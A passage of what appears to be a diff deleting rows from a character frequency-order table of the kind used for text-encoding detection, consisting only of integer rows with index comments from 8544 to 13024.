-8781,8782,8783,8784,8785,8786,8787,8788,4878,8789,4879,8790,8791,8792,4880,8793, # 8544
-8794,8795,8796,8797,8798,8799,8800,8801,4881,8802,8803,8804,8805,8806,8807,8808, # 8560
-8809,8810,8811,8812,8813,8814,8815,3957,8816,8817,8818,8819,8820,8821,8822,8823, # 8576
-8824,8825,8826,8827,8828,8829,8830,8831,8832,8833,8834,8835,8836,8837,8838,8839, # 8592
-8840,8841,8842,8843,8844,8845,8846,8847,4882,8848,8849,8850,8851,8852,8853,8854, # 8608
-8855,8856,8857,8858,8859,8860,8861,8862,8863,8864,8865,8866,8867,8868,8869,8870, # 8624
-8871,8872,8873,8874,8875,8876,8877,8878,8879,8880,8881,8882,8883,8884,3202,8885, # 8640
-8886,8887,8888,8889,8890,8891,8892,8893,8894,8895,8896,8897,8898,8899,8900,8901, # 8656
-8902,8903,8904,8905,8906,8907,8908,8909,8910,8911,8912,8913,8914,8915,8916,8917, # 8672
-8918,8919,8920,8921,8922,8923,8924,4465,8925,8926,8927,8928,8929,8930,8931,8932, # 8688
-4883,8933,8934,8935,8936,8937,8938,8939,8940,8941,8942,8943,2214,8944,8945,8946, # 8704
-8947,8948,8949,8950,8951,8952,8953,8954,8955,8956,8957,8958,8959,8960,8961,8962, # 8720
-8963,8964,8965,4884,8966,8967,8968,8969,8970,8971,8972,8973,8974,8975,8976,8977, # 8736
-8978,8979,8980,8981,8982,8983,8984,8985,8986,8987,8988,8989,8990,8991,8992,4885, # 8752
-8993,8994,8995,8996,8997,8998,8999,9000,9001,9002,9003,9004,9005,9006,9007,9008, # 8768
-9009,9010,9011,9012,9013,9014,9015,9016,9017,9018,9019,9020,9021,4182,9022,9023, # 8784
-9024,9025,9026,9027,9028,9029,9030,9031,9032,9033,9034,9035,9036,9037,9038,9039, # 8800
-9040,9041,9042,9043,9044,9045,9046,9047,9048,9049,9050,9051,9052,9053,9054,9055, # 8816
-9056,9057,9058,9059,9060,9061,9062,9063,4886,9064,9065,9066,9067,9068,9069,4887, # 8832
-9070,9071,9072,9073,9074,9075,9076,9077,9078,9079,9080,9081,9082,9083,9084,9085, # 8848
-9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9101, # 8864
-9102,9103,9104,9105,9106,9107,9108,9109,9110,9111,9112,9113,9114,9115,9116,9117, # 8880
-9118,9119,9120,9121,9122,9123,9124,9125,9126,9127,9128,9129,9130,9131,9132,9133, # 8896
-9134,9135,9136,9137,9138,9139,9140,9141,3958,9142,9143,9144,9145,9146,9147,9148, # 8912
-9149,9150,9151,4888,9152,9153,9154,9155,9156,9157,9158,9159,9160,9161,9162,9163, # 8928
-9164,9165,9166,9167,9168,9169,9170,9171,9172,9173,9174,9175,4889,9176,9177,9178, # 8944
-9179,9180,9181,9182,9183,9184,9185,9186,9187,9188,9189,9190,9191,9192,9193,9194, # 8960
-9195,9196,9197,9198,9199,9200,9201,9202,9203,4890,9204,9205,9206,9207,9208,9209, # 8976
-9210,9211,9212,9213,9214,9215,9216,9217,9218,9219,9220,9221,9222,4466,9223,9224, # 8992
-9225,9226,9227,9228,9229,9230,9231,9232,9233,9234,9235,9236,9237,9238,9239,9240, # 9008
-9241,9242,9243,9244,9245,4891,9246,9247,9248,9249,9250,9251,9252,9253,9254,9255, # 9024
-9256,9257,4892,9258,9259,9260,9261,4893,4894,9262,9263,9264,9265,9266,9267,9268, # 9040
-9269,9270,9271,9272,9273,4467,9274,9275,9276,9277,9278,9279,9280,9281,9282,9283, # 9056
-9284,9285,3673,9286,9287,9288,9289,9290,9291,9292,9293,9294,9295,9296,9297,9298, # 9072
-9299,9300,9301,9302,9303,9304,9305,9306,9307,9308,9309,9310,9311,9312,9313,9314, # 9088
-9315,9316,9317,9318,9319,9320,9321,9322,4895,9323,9324,9325,9326,9327,9328,9329, # 9104
-9330,9331,9332,9333,9334,9335,9336,9337,9338,9339,9340,9341,9342,9343,9344,9345, # 9120
-9346,9347,4468,9348,9349,9350,9351,9352,9353,9354,9355,9356,9357,9358,9359,9360, # 9136
-9361,9362,9363,9364,9365,9366,9367,9368,9369,9370,9371,9372,9373,4896,9374,4469, # 9152
-9375,9376,9377,9378,9379,4897,9380,9381,9382,9383,9384,9385,9386,9387,9388,9389, # 9168
-9390,9391,9392,9393,9394,9395,9396,9397,9398,9399,9400,9401,9402,9403,9404,9405, # 9184
-9406,4470,9407,2751,9408,9409,3674,3552,9410,9411,9412,9413,9414,9415,9416,9417, # 9200
-9418,9419,9420,9421,4898,9422,9423,9424,9425,9426,9427,9428,9429,3959,9430,9431, # 9216
-9432,9433,9434,9435,9436,4471,9437,9438,9439,9440,9441,9442,9443,9444,9445,9446, # 9232
-9447,9448,9449,9450,3348,9451,9452,9453,9454,9455,9456,9457,9458,9459,9460,9461, # 9248
-9462,9463,9464,9465,9466,9467,9468,9469,9470,9471,9472,4899,9473,9474,9475,9476, # 9264
-9477,4900,9478,9479,9480,9481,9482,9483,9484,9485,9486,9487,9488,3349,9489,9490, # 9280
-9491,9492,9493,9494,9495,9496,9497,9498,9499,9500,9501,9502,9503,9504,9505,9506, # 9296
-9507,9508,9509,9510,9511,9512,9513,9514,9515,9516,9517,9518,9519,9520,4901,9521, # 9312
-9522,9523,9524,9525,9526,4902,9527,9528,9529,9530,9531,9532,9533,9534,9535,9536, # 9328
-9537,9538,9539,9540,9541,9542,9543,9544,9545,9546,9547,9548,9549,9550,9551,9552, # 9344
-9553,9554,9555,9556,9557,9558,9559,9560,9561,9562,9563,9564,9565,9566,9567,9568, # 9360
-9569,9570,9571,9572,9573,9574,9575,9576,9577,9578,9579,9580,9581,9582,9583,9584, # 9376
-3805,9585,9586,9587,9588,9589,9590,9591,9592,9593,9594,9595,9596,9597,9598,9599, # 9392
-9600,9601,9602,4903,9603,9604,9605,9606,9607,4904,9608,9609,9610,9611,9612,9613, # 9408
-9614,4905,9615,9616,9617,9618,9619,9620,9621,9622,9623,9624,9625,9626,9627,9628, # 9424
-9629,9630,9631,9632,4906,9633,9634,9635,9636,9637,9638,9639,9640,9641,9642,9643, # 9440
-4907,9644,9645,9646,9647,9648,9649,9650,9651,9652,9653,9654,9655,9656,9657,9658, # 9456
-9659,9660,9661,9662,9663,9664,9665,9666,9667,9668,9669,9670,9671,9672,4183,9673, # 9472
-9674,9675,9676,9677,4908,9678,9679,9680,9681,4909,9682,9683,9684,9685,9686,9687, # 9488
-9688,9689,9690,4910,9691,9692,9693,3675,9694,9695,9696,2945,9697,9698,9699,9700, # 9504
-9701,9702,9703,9704,9705,4911,9706,9707,9708,9709,9710,9711,9712,9713,9714,9715, # 9520
-9716,9717,9718,9719,9720,9721,9722,9723,9724,9725,9726,9727,9728,9729,9730,9731, # 9536
-9732,9733,9734,9735,4912,9736,9737,9738,9739,9740,4913,9741,9742,9743,9744,9745, # 9552
-9746,9747,9748,9749,9750,9751,9752,9753,9754,9755,9756,9757,9758,4914,9759,9760, # 9568
-9761,9762,9763,9764,9765,9766,9767,9768,9769,9770,9771,9772,9773,9774,9775,9776, # 9584
-9777,9778,9779,9780,9781,9782,4915,9783,9784,9785,9786,9787,9788,9789,9790,9791, # 9600
-9792,9793,4916,9794,9795,9796,9797,9798,9799,9800,9801,9802,9803,9804,9805,9806, # 9616
-9807,9808,9809,9810,9811,9812,9813,9814,9815,9816,9817,9818,9819,9820,9821,9822, # 9632
-9823,9824,9825,9826,9827,9828,9829,9830,9831,9832,9833,9834,9835,9836,9837,9838, # 9648
-9839,9840,9841,9842,9843,9844,9845,9846,9847,9848,9849,9850,9851,9852,9853,9854, # 9664
-9855,9856,9857,9858,9859,9860,9861,9862,9863,9864,9865,9866,9867,9868,4917,9869, # 9680
-9870,9871,9872,9873,9874,9875,9876,9877,9878,9879,9880,9881,9882,9883,9884,9885, # 9696
-9886,9887,9888,9889,9890,9891,9892,4472,9893,9894,9895,9896,9897,3806,9898,9899, # 9712
-9900,9901,9902,9903,9904,9905,9906,9907,9908,9909,9910,9911,9912,9913,9914,4918, # 9728
-9915,9916,9917,4919,9918,9919,9920,9921,4184,9922,9923,9924,9925,9926,9927,9928, # 9744
-9929,9930,9931,9932,9933,9934,9935,9936,9937,9938,9939,9940,9941,9942,9943,9944, # 9760
-9945,9946,4920,9947,9948,9949,9950,9951,9952,9953,9954,9955,4185,9956,9957,9958, # 9776
-9959,9960,9961,9962,9963,9964,9965,4921,9966,9967,9968,4473,9969,9970,9971,9972, # 9792
-9973,9974,9975,9976,9977,4474,9978,9979,9980,9981,9982,9983,9984,9985,9986,9987, # 9808
-9988,9989,9990,9991,9992,9993,9994,9995,9996,9997,9998,9999,10000,10001,10002,10003, # 9824
-10004,10005,10006,10007,10008,10009,10010,10011,10012,10013,10014,10015,10016,10017,10018,10019, # 9840
-10020,10021,4922,10022,4923,10023,10024,10025,10026,10027,10028,10029,10030,10031,10032,10033, # 9856
-10034,10035,10036,10037,10038,10039,10040,10041,10042,10043,10044,10045,10046,10047,10048,4924, # 9872
-10049,10050,10051,10052,10053,10054,10055,10056,10057,10058,10059,10060,10061,10062,10063,10064, # 9888
-10065,10066,10067,10068,10069,10070,10071,10072,10073,10074,10075,10076,10077,10078,10079,10080, # 9904
-10081,10082,10083,10084,10085,10086,10087,4475,10088,10089,10090,10091,10092,10093,10094,10095, # 9920
-10096,10097,4476,10098,10099,10100,10101,10102,10103,10104,10105,10106,10107,10108,10109,10110, # 9936
-10111,2174,10112,10113,10114,10115,10116,10117,10118,10119,10120,10121,10122,10123,10124,10125, # 9952
-10126,10127,10128,10129,10130,10131,10132,10133,10134,10135,10136,10137,10138,10139,10140,3807, # 9968
-4186,4925,10141,10142,10143,10144,10145,10146,10147,4477,4187,10148,10149,10150,10151,10152, # 9984
-10153,4188,10154,10155,10156,10157,10158,10159,10160,10161,4926,10162,10163,10164,10165,10166, #10000
-10167,10168,10169,10170,10171,10172,10173,10174,10175,10176,10177,10178,10179,10180,10181,10182, #10016
-10183,10184,10185,10186,10187,10188,10189,10190,10191,10192,3203,10193,10194,10195,10196,10197, #10032
-10198,10199,10200,4478,10201,10202,10203,10204,4479,10205,10206,10207,10208,10209,10210,10211, #10048
-10212,10213,10214,10215,10216,10217,10218,10219,10220,10221,10222,10223,10224,10225,10226,10227, #10064
-10228,10229,10230,10231,10232,10233,10234,4927,10235,10236,10237,10238,10239,10240,10241,10242, #10080
-10243,10244,10245,10246,10247,10248,10249,10250,10251,10252,10253,10254,10255,10256,10257,10258, #10096
-10259,10260,10261,10262,10263,10264,10265,10266,10267,10268,10269,10270,10271,10272,10273,4480, #10112
-4928,4929,10274,10275,10276,10277,10278,10279,10280,10281,10282,10283,10284,10285,10286,10287, #10128
-10288,10289,10290,10291,10292,10293,10294,10295,10296,10297,10298,10299,10300,10301,10302,10303, #10144
-10304,10305,10306,10307,10308,10309,10310,10311,10312,10313,10314,10315,10316,10317,10318,10319, #10160
-10320,10321,10322,10323,10324,10325,10326,10327,10328,10329,10330,10331,10332,10333,10334,4930, #10176
-10335,10336,10337,10338,10339,10340,10341,10342,4931,10343,10344,10345,10346,10347,10348,10349, #10192
-10350,10351,10352,10353,10354,10355,3088,10356,2786,10357,10358,10359,10360,4189,10361,10362, #10208
-10363,10364,10365,10366,10367,10368,10369,10370,10371,10372,10373,10374,10375,4932,10376,10377, #10224
-10378,10379,10380,10381,10382,10383,10384,10385,10386,10387,10388,10389,10390,10391,10392,4933, #10240
-10393,10394,10395,4934,10396,10397,10398,10399,10400,10401,10402,10403,10404,10405,10406,10407, #10256
-10408,10409,10410,10411,10412,3446,10413,10414,10415,10416,10417,10418,10419,10420,10421,10422, #10272
-10423,4935,10424,10425,10426,10427,10428,10429,10430,4936,10431,10432,10433,10434,10435,10436, #10288
-10437,10438,10439,10440,10441,10442,10443,4937,10444,10445,10446,10447,4481,10448,10449,10450, #10304
-10451,10452,10453,10454,10455,10456,10457,10458,10459,10460,10461,10462,10463,10464,10465,10466, #10320
-10467,10468,10469,10470,10471,10472,10473,10474,10475,10476,10477,10478,10479,10480,10481,10482, #10336
-10483,10484,10485,10486,10487,10488,10489,10490,10491,10492,10493,10494,10495,10496,10497,10498, #10352
-10499,10500,10501,10502,10503,10504,10505,4938,10506,10507,10508,10509,10510,2552,10511,10512, #10368
-10513,10514,10515,10516,3447,10517,10518,10519,10520,10521,10522,10523,10524,10525,10526,10527, #10384
-10528,10529,10530,10531,10532,10533,10534,10535,10536,10537,10538,10539,10540,10541,10542,10543, #10400
-4482,10544,4939,10545,10546,10547,10548,10549,10550,10551,10552,10553,10554,10555,10556,10557, #10416
-10558,10559,10560,10561,10562,10563,10564,10565,10566,10567,3676,4483,10568,10569,10570,10571, #10432
-10572,3448,10573,10574,10575,10576,10577,10578,10579,10580,10581,10582,10583,10584,10585,10586, #10448
-10587,10588,10589,10590,10591,10592,10593,10594,10595,10596,10597,10598,10599,10600,10601,10602, #10464
-10603,10604,10605,10606,10607,10608,10609,10610,10611,10612,10613,10614,10615,10616,10617,10618, #10480
-10619,10620,10621,10622,10623,10624,10625,10626,10627,4484,10628,10629,10630,10631,10632,4940, #10496
-10633,10634,10635,10636,10637,10638,10639,10640,10641,10642,10643,10644,10645,10646,10647,10648, #10512
-10649,10650,10651,10652,10653,10654,10655,10656,4941,10657,10658,10659,2599,10660,10661,10662, #10528
-10663,10664,10665,10666,3089,10667,10668,10669,10670,10671,10672,10673,10674,10675,10676,10677, #10544
-10678,10679,10680,4942,10681,10682,10683,10684,10685,10686,10687,10688,10689,10690,10691,10692, #10560
-10693,10694,10695,10696,10697,4485,10698,10699,10700,10701,10702,10703,10704,4943,10705,3677, #10576
-10706,10707,10708,10709,10710,10711,10712,4944,10713,10714,10715,10716,10717,10718,10719,10720, #10592
-10721,10722,10723,10724,10725,10726,10727,10728,4945,10729,10730,10731,10732,10733,10734,10735, #10608
-10736,10737,10738,10739,10740,10741,10742,10743,10744,10745,10746,10747,10748,10749,10750,10751, #10624
-10752,10753,10754,10755,10756,10757,10758,10759,10760,10761,4946,10762,10763,10764,10765,10766, #10640
-10767,4947,4948,10768,10769,10770,10771,10772,10773,10774,10775,10776,10777,10778,10779,10780, #10656
-10781,10782,10783,10784,10785,10786,10787,10788,10789,10790,10791,10792,10793,10794,10795,10796, #10672
-10797,10798,10799,10800,10801,10802,10803,10804,10805,10806,10807,10808,10809,10810,10811,10812, #10688
-10813,10814,10815,10816,10817,10818,10819,10820,10821,10822,10823,10824,10825,10826,10827,10828, #10704
-10829,10830,10831,10832,10833,10834,10835,10836,10837,10838,10839,10840,10841,10842,10843,10844, #10720
-10845,10846,10847,10848,10849,10850,10851,10852,10853,10854,10855,10856,10857,10858,10859,10860, #10736
-10861,10862,10863,10864,10865,10866,10867,10868,10869,10870,10871,10872,10873,10874,10875,10876, #10752
-10877,10878,4486,10879,10880,10881,10882,10883,10884,10885,4949,10886,10887,10888,10889,10890, #10768
-10891,10892,10893,10894,10895,10896,10897,10898,10899,10900,10901,10902,10903,10904,10905,10906, #10784
-10907,10908,10909,10910,10911,10912,10913,10914,10915,10916,10917,10918,10919,4487,10920,10921, #10800
-10922,10923,10924,10925,10926,10927,10928,10929,10930,10931,10932,4950,10933,10934,10935,10936, #10816
-10937,10938,10939,10940,10941,10942,10943,10944,10945,10946,10947,10948,10949,4488,10950,10951, #10832
-10952,10953,10954,10955,10956,10957,10958,10959,4190,10960,10961,10962,10963,10964,10965,10966, #10848
-10967,10968,10969,10970,10971,10972,10973,10974,10975,10976,10977,10978,10979,10980,10981,10982, #10864
-10983,10984,10985,10986,10987,10988,10989,10990,10991,10992,10993,10994,10995,10996,10997,10998, #10880
-10999,11000,11001,11002,11003,11004,11005,11006,3960,11007,11008,11009,11010,11011,11012,11013, #10896
-11014,11015,11016,11017,11018,11019,11020,11021,11022,11023,11024,11025,11026,11027,11028,11029, #10912
-11030,11031,11032,4951,11033,11034,11035,11036,11037,11038,11039,11040,11041,11042,11043,11044, #10928
-11045,11046,11047,4489,11048,11049,11050,11051,4952,11052,11053,11054,11055,11056,11057,11058, #10944
-4953,11059,11060,11061,11062,11063,11064,11065,11066,11067,11068,11069,11070,11071,4954,11072, #10960
-11073,11074,11075,11076,11077,11078,11079,11080,11081,11082,11083,11084,11085,11086,11087,11088, #10976
-11089,11090,11091,11092,11093,11094,11095,11096,11097,11098,11099,11100,11101,11102,11103,11104, #10992
-11105,11106,11107,11108,11109,11110,11111,11112,11113,11114,11115,3808,11116,11117,11118,11119, #11008
-11120,11121,11122,11123,11124,11125,11126,11127,11128,11129,11130,11131,11132,11133,11134,4955, #11024
-11135,11136,11137,11138,11139,11140,11141,11142,11143,11144,11145,11146,11147,11148,11149,11150, #11040
-11151,11152,11153,11154,11155,11156,11157,11158,11159,11160,11161,4956,11162,11163,11164,11165, #11056
-11166,11167,11168,11169,11170,11171,11172,11173,11174,11175,11176,11177,11178,11179,11180,4957, #11072
-11181,11182,11183,11184,11185,11186,4958,11187,11188,11189,11190,11191,11192,11193,11194,11195, #11088
-11196,11197,11198,11199,11200,3678,11201,11202,11203,11204,11205,11206,4191,11207,11208,11209, #11104
-11210,11211,11212,11213,11214,11215,11216,11217,11218,11219,11220,11221,11222,11223,11224,11225, #11120
-11226,11227,11228,11229,11230,11231,11232,11233,11234,11235,11236,11237,11238,11239,11240,11241, #11136
-11242,11243,11244,11245,11246,11247,11248,11249,11250,11251,4959,11252,11253,11254,11255,11256, #11152
-11257,11258,11259,11260,11261,11262,11263,11264,11265,11266,11267,11268,11269,11270,11271,11272, #11168
-11273,11274,11275,11276,11277,11278,11279,11280,11281,11282,11283,11284,11285,11286,11287,11288, #11184
-11289,11290,11291,11292,11293,11294,11295,11296,11297,11298,11299,11300,11301,11302,11303,11304, #11200
-11305,11306,11307,11308,11309,11310,11311,11312,11313,11314,3679,11315,11316,11317,11318,4490, #11216
-11319,11320,11321,11322,11323,11324,11325,11326,11327,11328,11329,11330,11331,11332,11333,11334, #11232
-11335,11336,11337,11338,11339,11340,11341,11342,11343,11344,11345,11346,11347,4960,11348,11349, #11248
-11350,11351,11352,11353,11354,11355,11356,11357,11358,11359,11360,11361,11362,11363,11364,11365, #11264
-11366,11367,11368,11369,11370,11371,11372,11373,11374,11375,11376,11377,3961,4961,11378,11379, #11280
-11380,11381,11382,11383,11384,11385,11386,11387,11388,11389,11390,11391,11392,11393,11394,11395, #11296
-11396,11397,4192,11398,11399,11400,11401,11402,11403,11404,11405,11406,11407,11408,11409,11410, #11312
-11411,4962,11412,11413,11414,11415,11416,11417,11418,11419,11420,11421,11422,11423,11424,11425, #11328
-11426,11427,11428,11429,11430,11431,11432,11433,11434,11435,11436,11437,11438,11439,11440,11441, #11344
-11442,11443,11444,11445,11446,11447,11448,11449,11450,11451,11452,11453,11454,11455,11456,11457, #11360
-11458,11459,11460,11461,11462,11463,11464,11465,11466,11467,11468,11469,4963,11470,11471,4491, #11376
-11472,11473,11474,11475,4964,11476,11477,11478,11479,11480,11481,11482,11483,11484,11485,11486, #11392
-11487,11488,11489,11490,11491,11492,4965,11493,11494,11495,11496,11497,11498,11499,11500,11501, #11408
-11502,11503,11504,11505,11506,11507,11508,11509,11510,11511,11512,11513,11514,11515,11516,11517, #11424
-11518,11519,11520,11521,11522,11523,11524,11525,11526,11527,11528,11529,3962,11530,11531,11532, #11440
-11533,11534,11535,11536,11537,11538,11539,11540,11541,11542,11543,11544,11545,11546,11547,11548, #11456
-11549,11550,11551,11552,11553,11554,11555,11556,11557,11558,11559,11560,11561,11562,11563,11564, #11472
-4193,4194,11565,11566,11567,11568,11569,11570,11571,11572,11573,11574,11575,11576,11577,11578, #11488
-11579,11580,11581,11582,11583,11584,11585,11586,11587,11588,11589,11590,11591,4966,4195,11592, #11504
-11593,11594,11595,11596,11597,11598,11599,11600,11601,11602,11603,11604,3090,11605,11606,11607, #11520
-11608,11609,11610,4967,11611,11612,11613,11614,11615,11616,11617,11618,11619,11620,11621,11622, #11536
-11623,11624,11625,11626,11627,11628,11629,11630,11631,11632,11633,11634,11635,11636,11637,11638, #11552
-11639,11640,11641,11642,11643,11644,11645,11646,11647,11648,11649,11650,11651,11652,11653,11654, #11568
-11655,11656,11657,11658,11659,11660,11661,11662,11663,11664,11665,11666,11667,11668,11669,11670, #11584
-11671,11672,11673,11674,4968,11675,11676,11677,11678,11679,11680,11681,11682,11683,11684,11685, #11600
-11686,11687,11688,11689,11690,11691,11692,11693,3809,11694,11695,11696,11697,11698,11699,11700, #11616
-11701,11702,11703,11704,11705,11706,11707,11708,11709,11710,11711,11712,11713,11714,11715,11716, #11632
-11717,11718,3553,11719,11720,11721,11722,11723,11724,11725,11726,11727,11728,11729,11730,4969, #11648
-11731,11732,11733,11734,11735,11736,11737,11738,11739,11740,4492,11741,11742,11743,11744,11745, #11664
-11746,11747,11748,11749,11750,11751,11752,4970,11753,11754,11755,11756,11757,11758,11759,11760, #11680
-11761,11762,11763,11764,11765,11766,11767,11768,11769,11770,11771,11772,11773,11774,11775,11776, #11696
-11777,11778,11779,11780,11781,11782,11783,11784,11785,11786,11787,11788,11789,11790,4971,11791, #11712
-11792,11793,11794,11795,11796,11797,4972,11798,11799,11800,11801,11802,11803,11804,11805,11806, #11728
-11807,11808,11809,11810,4973,11811,11812,11813,11814,11815,11816,11817,11818,11819,11820,11821, #11744
-11822,11823,11824,11825,11826,11827,11828,11829,11830,11831,11832,11833,11834,3680,3810,11835, #11760
-11836,4974,11837,11838,11839,11840,11841,11842,11843,11844,11845,11846,11847,11848,11849,11850, #11776
-11851,11852,11853,11854,11855,11856,11857,11858,11859,11860,11861,11862,11863,11864,11865,11866, #11792
-11867,11868,11869,11870,11871,11872,11873,11874,11875,11876,11877,11878,11879,11880,11881,11882, #11808
-11883,11884,4493,11885,11886,11887,11888,11889,11890,11891,11892,11893,11894,11895,11896,11897, #11824
-11898,11899,11900,11901,11902,11903,11904,11905,11906,11907,11908,11909,11910,11911,11912,11913, #11840
-11914,11915,4975,11916,11917,11918,11919,11920,11921,11922,11923,11924,11925,11926,11927,11928, #11856
-11929,11930,11931,11932,11933,11934,11935,11936,11937,11938,11939,11940,11941,11942,11943,11944, #11872
-11945,11946,11947,11948,11949,4976,11950,11951,11952,11953,11954,11955,11956,11957,11958,11959, #11888
-11960,11961,11962,11963,11964,11965,11966,11967,11968,11969,11970,11971,11972,11973,11974,11975, #11904
-11976,11977,11978,11979,11980,11981,11982,11983,11984,11985,11986,11987,4196,11988,11989,11990, #11920
-11991,11992,4977,11993,11994,11995,11996,11997,11998,11999,12000,12001,12002,12003,12004,12005, #11936
-12006,12007,12008,12009,12010,12011,12012,12013,12014,12015,12016,12017,12018,12019,12020,12021, #11952
-12022,12023,12024,12025,12026,12027,12028,12029,12030,12031,12032,12033,12034,12035,12036,12037, #11968
-12038,12039,12040,12041,12042,12043,12044,12045,12046,12047,12048,12049,12050,12051,12052,12053, #11984
-12054,12055,12056,12057,12058,12059,12060,12061,4978,12062,12063,12064,12065,12066,12067,12068, #12000
-12069,12070,12071,12072,12073,12074,12075,12076,12077,12078,12079,12080,12081,12082,12083,12084, #12016
-12085,12086,12087,12088,12089,12090,12091,12092,12093,12094,12095,12096,12097,12098,12099,12100, #12032
-12101,12102,12103,12104,12105,12106,12107,12108,12109,12110,12111,12112,12113,12114,12115,12116, #12048
-12117,12118,12119,12120,12121,12122,12123,4979,12124,12125,12126,12127,12128,4197,12129,12130, #12064
-12131,12132,12133,12134,12135,12136,12137,12138,12139,12140,12141,12142,12143,12144,12145,12146, #12080
-12147,12148,12149,12150,12151,12152,12153,12154,4980,12155,12156,12157,12158,12159,12160,4494, #12096
-12161,12162,12163,12164,3811,12165,12166,12167,12168,12169,4495,12170,12171,4496,12172,12173, #12112
-12174,12175,12176,3812,12177,12178,12179,12180,12181,12182,12183,12184,12185,12186,12187,12188, #12128
-12189,12190,12191,12192,12193,12194,12195,12196,12197,12198,12199,12200,12201,12202,12203,12204, #12144
-12205,12206,12207,12208,12209,12210,12211,12212,12213,12214,12215,12216,12217,12218,12219,12220, #12160
-12221,4981,12222,12223,12224,12225,12226,12227,12228,12229,12230,12231,12232,12233,12234,12235, #12176
-4982,12236,12237,12238,12239,12240,12241,12242,12243,12244,12245,4983,12246,12247,12248,12249, #12192
-4984,12250,12251,12252,12253,12254,12255,12256,12257,12258,12259,12260,12261,12262,12263,12264, #12208
-4985,12265,4497,12266,12267,12268,12269,12270,12271,12272,12273,12274,12275,12276,12277,12278, #12224
-12279,12280,12281,12282,12283,12284,12285,12286,12287,4986,12288,12289,12290,12291,12292,12293, #12240
-12294,12295,12296,2473,12297,12298,12299,12300,12301,12302,12303,12304,12305,12306,12307,12308, #12256
-12309,12310,12311,12312,12313,12314,12315,12316,12317,12318,12319,3963,12320,12321,12322,12323, #12272
-12324,12325,12326,12327,12328,12329,12330,12331,12332,4987,12333,12334,12335,12336,12337,12338, #12288
-12339,12340,12341,12342,12343,12344,12345,12346,12347,12348,12349,12350,12351,12352,12353,12354, #12304
-12355,12356,12357,12358,12359,3964,12360,12361,12362,12363,12364,12365,12366,12367,12368,12369, #12320
-12370,3965,12371,12372,12373,12374,12375,12376,12377,12378,12379,12380,12381,12382,12383,12384, #12336
-12385,12386,12387,12388,12389,12390,12391,12392,12393,12394,12395,12396,12397,12398,12399,12400, #12352
-12401,12402,12403,12404,12405,12406,12407,12408,4988,12409,12410,12411,12412,12413,12414,12415, #12368
-12416,12417,12418,12419,12420,12421,12422,12423,12424,12425,12426,12427,12428,12429,12430,12431, #12384
-12432,12433,12434,12435,12436,12437,12438,3554,12439,12440,12441,12442,12443,12444,12445,12446, #12400
-12447,12448,12449,12450,12451,12452,12453,12454,12455,12456,12457,12458,12459,12460,12461,12462, #12416
-12463,12464,4989,12465,12466,12467,12468,12469,12470,12471,12472,12473,12474,12475,12476,12477, #12432
-12478,12479,12480,4990,12481,12482,12483,12484,12485,12486,12487,12488,12489,4498,12490,12491, #12448
-12492,12493,12494,12495,12496,12497,12498,12499,12500,12501,12502,12503,12504,12505,12506,12507, #12464
-12508,12509,12510,12511,12512,12513,12514,12515,12516,12517,12518,12519,12520,12521,12522,12523, #12480
-12524,12525,12526,12527,12528,12529,12530,12531,12532,12533,12534,12535,12536,12537,12538,12539, #12496
-12540,12541,12542,12543,12544,12545,12546,12547,12548,12549,12550,12551,4991,12552,12553,12554, #12512
-12555,12556,12557,12558,12559,12560,12561,12562,12563,12564,12565,12566,12567,12568,12569,12570, #12528
-12571,12572,12573,12574,12575,12576,12577,12578,3036,12579,12580,12581,12582,12583,3966,12584, #12544
-12585,12586,12587,12588,12589,12590,12591,12592,12593,12594,12595,12596,12597,12598,12599,12600, #12560
-12601,12602,12603,12604,12605,12606,12607,12608,12609,12610,12611,12612,12613,12614,12615,12616, #12576
-12617,12618,12619,12620,12621,12622,12623,12624,12625,12626,12627,12628,12629,12630,12631,12632, #12592
-12633,12634,12635,12636,12637,12638,12639,12640,12641,12642,12643,12644,12645,12646,4499,12647, #12608
-12648,12649,12650,12651,12652,12653,12654,12655,12656,12657,12658,12659,12660,12661,12662,12663, #12624
-12664,12665,12666,12667,12668,12669,12670,12671,12672,12673,12674,12675,12676,12677,12678,12679, #12640
-12680,12681,12682,12683,12684,12685,12686,12687,12688,12689,12690,12691,12692,12693,12694,12695, #12656
-12696,12697,12698,4992,12699,12700,12701,12702,12703,12704,12705,12706,12707,12708,12709,12710, #12672
-12711,12712,12713,12714,12715,12716,12717,12718,12719,12720,12721,12722,12723,12724,12725,12726, #12688
-12727,12728,12729,12730,12731,12732,12733,12734,12735,12736,12737,12738,12739,12740,12741,12742, #12704
-12743,12744,12745,12746,12747,12748,12749,12750,12751,12752,12753,12754,12755,12756,12757,12758, #12720
-12759,12760,12761,12762,12763,12764,12765,12766,12767,12768,12769,12770,12771,12772,12773,12774, #12736
-12775,12776,12777,12778,4993,2175,12779,12780,12781,12782,12783,12784,12785,12786,4500,12787, #12752
-12788,12789,12790,12791,12792,12793,12794,12795,12796,12797,12798,12799,12800,12801,12802,12803, #12768
-12804,12805,12806,12807,12808,12809,12810,12811,12812,12813,12814,12815,12816,12817,12818,12819, #12784
-12820,12821,12822,12823,12824,12825,12826,4198,3967,12827,12828,12829,12830,12831,12832,12833, #12800
-12834,12835,12836,12837,12838,12839,12840,12841,12842,12843,12844,12845,12846,12847,12848,12849, #12816
-12850,12851,12852,12853,12854,12855,12856,12857,12858,12859,12860,12861,4199,12862,12863,12864, #12832
-12865,12866,12867,12868,12869,12870,12871,12872,12873,12874,12875,12876,12877,12878,12879,12880, #12848
-12881,12882,12883,12884,12885,12886,12887,4501,12888,12889,12890,12891,12892,12893,12894,12895, #12864
-12896,12897,12898,12899,12900,12901,12902,12903,12904,12905,12906,12907,12908,12909,12910,12911, #12880
-12912,4994,12913,12914,12915,12916,12917,12918,12919,12920,12921,12922,12923,12924,12925,12926, #12896
-12927,12928,12929,12930,12931,12932,12933,12934,12935,12936,12937,12938,12939,12940,12941,12942, #12912
-12943,12944,12945,12946,12947,12948,12949,12950,12951,12952,12953,12954,12955,12956,1772,12957, #12928
-12958,12959,12960,12961,12962,12963,12964,12965,12966,12967,12968,12969,12970,12971,12972,12973, #12944
-12974,12975,12976,12977,12978,12979,12980,12981,12982,12983,12984,12985,12986,12987,12988,12989, #12960
-12990,12991,12992,12993,12994,12995,12996,12997,4502,12998,4503,12999,13000,13001,13002,13003, #12976
-4504,13004,13005,13006,13007,13008,13009,13010,13011,13012,13013,13014,13015,13016,13017,13018, #12992
-13019,13020,13021,13022,13023,13024,13025,13026,13027,13028,13029,3449,13030,13031,13032,13033, #13008
-13034,13035,13036,13037,13038,13039,13040,13041,13042,13043,13044,13045,13046,13047,13048,13049, #13024
